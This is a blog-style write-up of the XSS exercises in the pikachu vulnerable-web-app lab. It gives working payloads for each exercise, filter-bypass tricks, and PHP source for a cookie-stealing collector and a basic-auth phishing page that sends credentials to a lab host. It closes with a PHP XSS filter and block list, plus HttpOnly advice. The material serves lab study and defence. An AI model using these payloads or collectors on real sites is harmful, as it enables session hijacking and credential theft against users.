Source Code Analysis and Repair of pikachu-xss

Keywords: PHP Database Attribute Javascript

xss source code analysis

Reflection type is mainly in the place of query, storage type is mainly in the place of message and comment, dom type is a special reflection type. pikachu's xss does not do a lot of filtering, but focuses on the principle. In practice, there will certainly be a lot of filtering and escaping. Accumulate more.

1. Reflective xss(get)

Test casual input, found that the user input output to the following who is behind, test < script > alert ('xss') </srcipt >, pop-up xss. (Remember to make the maxlength attribute a little bigger)


Code analysis:
The $html variable is spliced directly into {$_GET['message']} and the following code is echo without any filtering and escaping. The code from echo becomes

<p>who is 
  <script>alert('xss')</script>
  ,i don't care!
</p>


2. Reflective xss(post)

Like 1, only 1 is a get submission, 2 is a post submission, the code is the same.


3. Storage xss

Testing, random input, found that the output will be in the message list, refresh page has been in, input < script > alert (document. cookie) </script > test, alert out cookie. Every time you click on this page, alert will send out a cookie, indicating that it is stored and that the database already exists.




Code analysis:
The reason is still that the input content is not filtered and escaped, the user input content is inserted directly into the database, and the output is not filtered and escaped, so the data is echo directly.

4.dom xss

Enter 111 test, click what do you see, jump to 111, guess it may be the href attribute of < a > tag. Look at the review element, we find that the str we entered is adjusted in the element with id dom and < a href='"+str+"> what do you see?</a>, so we think we can close the a tag and execute the malicious code we entered. .



Follow up on domxss()

Enter'> < img SRC = 1 onerror = alert (document. cookie)>.
Or'onclick = "alert ('xss')">
etc.


Code analysis is already clear above, without any processing of user input.

5.dom xss-x


Input 111

Click on the "something that you tried hard to forget, and then really forgot"
"Let the past go with the wind, let it go with the wind." Continue to order this.


It's the same as 4. Review the source code

Note:
1.window.location.search: Return to url? Later. See for details Here
2.split(): Splitting a string into an array of strings. See for details Here
3.decodeURIComponent(): The URI encoded by the encodeURIComponent() function is decoded because str is intercepted from the URL after the question mark and is url-coded. See for details Here
4.replace(): Replace some characters with others in a string, or replace a substring that matches a regular expression. Here is to replace + with space. See for details Here

You can see that str is stitched directly into a tag.
Test'> < img SRC = 1 onerror = alert (1)> is the same as above 4.


Reason: No user input processing, direct splicing.

6.xss Blind Strike

Input test, submit, nothing returned, prompt the user input the other party has received, guess should be stored in the database, administrators can see the background login. Just click on the tips given by the author and give the address of the background landing. Here we do not know whether there is xss, we will try, do not see does not mean that there is No.

Enter < script > alert (1)</script > and log in to the background. The result is that there is xss.


Code analysis:
User input is directly stored in the database, and withdrawal is also directly taken out and echo out, resulting in xss

7xss filtering

Enter < script > alert (1) < script > for testing, and see that almost all the labels and functions have been filtered out, try to bypass the filter.
< img SRC = 1_nerr_r = alert (1)>, pop-up window. There may be an xss vulnerability.


Source code analysis:
The background filters the user's input by regular matching, and deletes < srcipt and any element in the middle of each symbol. But there is no filtering img tag and no filtering hazard function.

Note: xss bypass posture
1. Front-end restrictions directly change the front-end html code, or retransmit packages
2. Case filtering
3. Double-writing bypass
4. Interruption with annotations
5. Coding

8.xss htmlspecialchars

User input is also in the href tag, and the back end should be filtered with htmlspecialchars, but this function will not encode single quotes by default, so try'onclick='alert(1)', pop-up window, there may be xss.
htmlspecialchars():http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

9.xss href output

After testing, it was found that ><"'& was encoded and that the user input was in the href tag. Therefore, the href attribute of js and a tag can be used to detail http://www.w3school.com.cn/tags/att_a_href.asp.
Constructing javascript:alert(1)
Code analysis:


Here the defense needs to disable the js protocol

js output of 10.xss

After testing and looking at the source code, we can find that the $ms in js is the user's input, so we think of closing < script > $ms='', and construct the user's input as: x'</script >< script > alert ('xss')</script>.


Source code analysis:


After constructing payloads, the first script tag is closed and a new js statement is written.
Fixing the problems that need attention: 1. Entity encoding of html can solve the problem of XSS, but the content of Entity encoding will not be translated in JS, which will lead to the front-end function can not be used. 2. So special characters should be escaped using at the JS output point

Practical utilization of xss

1.xss Gets User coockie

Reflective xss: Input

<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

Login Management Background View, information has been obtained
Source: cookie.php

<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(isset($_GET['cookie'])){
    $time=date('Y-m-d g:i:s');  //time
    $ipaddress=getenv ('REMOTE_ADDR'); //ipaddress
    $cookie=$_GET['cookie'];  //cookie
    $referer=$_SERVER['HTTP_REFERER'];  //referer
    $useragent=$_SERVER['HTTP_USER_AGENT']; //useragent
    $query="insert cookies(time,ipaddress,cookie,referer,useragent) 
    values('$time','$ipaddress','$cookie','$referer','$useragent')";
    $result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu/index.php");//Redirect to a trusted website
?>

2. Fishing

Fishing pages can often do very real, this is just an experiment.
Storage xss, input

<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

Pop-up window

Once you enter your username and password, you are fished.


Source: fish.php

<?php
error_reporting(0);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//Send authentication boxes and give confusing info
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='Authentication'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
}else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//Send the results to the background where you collect information. Please change the IP address here to the IP of the management background.
    header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>

Note: Header function and PHP_AUTH_USER in PHP do user authentication principle: https://blog.csdn.net/Jacksun_huang/article/details/88737297

xfish.php

<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(!empty($_GET['username']) && !empty($_GET['password'])){
    $username=$_GET['username'];
    $password=$_GET['password'];
    $referer="";
    $referer.=$_SERVER['HTTP_REFERER'];
    $time=date('Y-m-d g:i:s');
    $query="insert fish(time,username,password,referer) 
    values('$time','$username','$password','$referer')";
    $result=mysqli_query($link, $query);
}
?>

xss repair

1. Filtering Dangerous Characters
2. Coding Conversion
Find a defense on the Internet and successfully intercept xss in pikachu local test:
PHP for security fields and prevention of XSS cross-site script attack filtering (generic version)

/* Perform security field and xss cross-site script attack filtering (generic version) - xzz  */
function escape_sec($string) {
    global $_POST;
    $search = array (
        '/</i',
        '/>/i',
        '/\">/i',
        '/\bunion\b/i',
        '/load_file(\s*(\/\*.*\*\/)?\s*)+\(/i',
        '/into(\s*(\/\*.*\*\/)?\s*)+outfile/i',
        '/\bor\b/i',
        '/\<([\/]?)script([^\>]*?)\>/si',
        '/\<([\/]?)iframe([^\>]*?)\>/si',
        '/\<([\/]?)frame([^\>]*?)\>/si'
    );
   $replace = array (
        '&lt;',
        '&gt;',
        '&quot;&gt;',
        'union&nbsp;',
        'load_file&nbsp; (',
        'into&nbsp; outfile',
        'or&nbsp;',
        '&lt;\\1script\\2&gt;',
        '&lt;\\1iframe\\2&gt;',
        '&lt;\\1frame\\2&gt;'
    );
 if (is_array ( $string )) {
        $key = array_keys ( $string );
        $size = sizeof ( $key );
        for($i = 0; $i < $size; $i ++) {
            $string [$key [$i]] = escape_sec ( $string [$key [$i]] );
        }
 } else {
        //if (! $_POST ['stats_code'] && ! $_POST ['ad_type_code_content']) {
            $string = str_replace ( array (
                '\n',
                '\r'
            ), array (
                chr ( 10 ),
                chr ( 13 )
            ), preg_replace ( $search, $replace, $string ) );//Equivalent to html entity conversion for some dangerous characters
            $string = remove_xss ( $string );//Call remove_xss() method
       // } else {
       //    $string = $string;
      //  }
    }
    return $string;
}

function remove_xss($val) {	
	$val = preg_replace ( '/([\x00-\x08\x0b-\x0c\x0e-\x19])/', '', $val );	
	$search = 'abcdefghijklmnopqrstuvwxyz';
	$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
	$search .= '1234567890!@#$%^&*()';
	$search .= '~`";:?+/={}[]-_|\'\\';
	for($i = 0; $i < strlen ( $search ); $i ++) {
		$val = preg_replace ( '/(&#[xX]0{0,8}' . dechex ( ord ( $search [$i] ) ) . ';?)/i', $search [$i], $val );
		$val = preg_replace ( '/(&#0{0,8}' . ord ( $search [$i] ) . ';?)/', $search [$i], $val );
	}
	$ra1 = array (
        'javascript',
        'vbscript',
        'expression',
        'applet',
        'meta',
        'xml',
        'blink',
        'script',
        'object',
        'iframe',
        'frame',
        'frameset',
        'ilayer',
        'bgsound'
    );
	$ra2 = array (
        'onabort',
        'onactivate',
        'onafterprint',
        'onafterupdate',
        'onbeforeactivate',
        'onbeforecopy',
        'onbeforecut',
        'onbeforedeactivate',
        'onbeforeeditfocus',
        'onbeforepaste',
        'onbeforeprint',
        'onbeforeunload',
        'onbeforeupdate',
        'onblur',
        'onbounce',
        'oncellchange',
        'onchange',
        'onclick',
        'oncontextmenu',
        'oncontrolselect',
        'oncopy',
        'oncut',
        'ondataavailable',
        'ondatasetchanged',
        'ondatasetcomplete',
        'ondblclick',
        'ondeactivate',
        'ondrag',
        'ondragend',
        'ondragenter',
        'ondragleave',
        'ondragover',
        'ondragstart',
        'ondrop',
        'onerror',
        'onerrorupdate',
        'onfilterchange',
        'onfinish',
        'onfocus',
        'onfocusin',
        'onfocusout',
        'onhelp',
        'onkeydown',
        'onkeypress',
        'onkeyup',
        'onlayoutcomplete',
        'onload',
        'onlosecapture',
        'onmousedown',
        'onmouseenter',
        'onmouseleave',
        'onmousemove',
        'onmouseout',
        'onmouseover',
        'onmouseup',
        'onmousewheel',
        'onmove',
        'onmoveend',
        'onmovestart',
        'onpaste',
        'onpropertychange',
        'onreadystatechange',
        'onreset',
        'onresize',
        'onresizeend',
        'onresizestart',
        'onrowenter',
        'onrowexit',
        'onrowsdelete',
        'onrowsinserted',
        'onscroll',
        'onselect',
        'onselectionchange',
        'onselectstart',
        'onstart',
        'onstop',
        'onsubmit',
        'onunload'
    );
	$ra = array_merge ( $ra1, $ra2 );
	$found = true;
	while ( $found == true ) {
		$val_before = $val;
		for($i = 0; $i < sizeof ( $ra ); $i ++) {
			$pattern = '/';
			for($j = 0; $j < strlen ( $ra [$i] ); $j ++) {
				if ($j > 0) {
					$pattern .= '(';
					$pattern .= '(&#[xX]0{0,8}([9ab]);)';
					$pattern .= '|';
					$pattern .= '|(&#0{0,8}([9|10|13]);)';
					$pattern .= ')*';
				}
				$pattern .= $ra [$i] [$j];
			}
			$pattern .= '/i';
			$replacement = substr ( $ra [$i], 0, 2 ) . ' ' . substr ( $ra [$i], 2 );      
			$val = preg_replace ( $pattern, $replacement, $val );
			if ($val_before == $val) {
 				 $found = false;
  			}
  	}
  }
  return $val;
}

Note: From the purpose of xss attack:
1.cookie theft. Solution: HTTP-only
2. Hijacking traffic forwarding. Solution: Using HTTPS Security Protocol to Verify
When setting httponly, use ini_set("session.cookie_httponly", 1); the function is useless. It is not good to change session.cookie_httponly directly to php.ini configuration file, but setting the seventh parameter value of true in the setcookie function can prevent js scripts from getting cookies.

Posted by rj2kix on Tue, 13 Aug 2019 04:20:43 -0700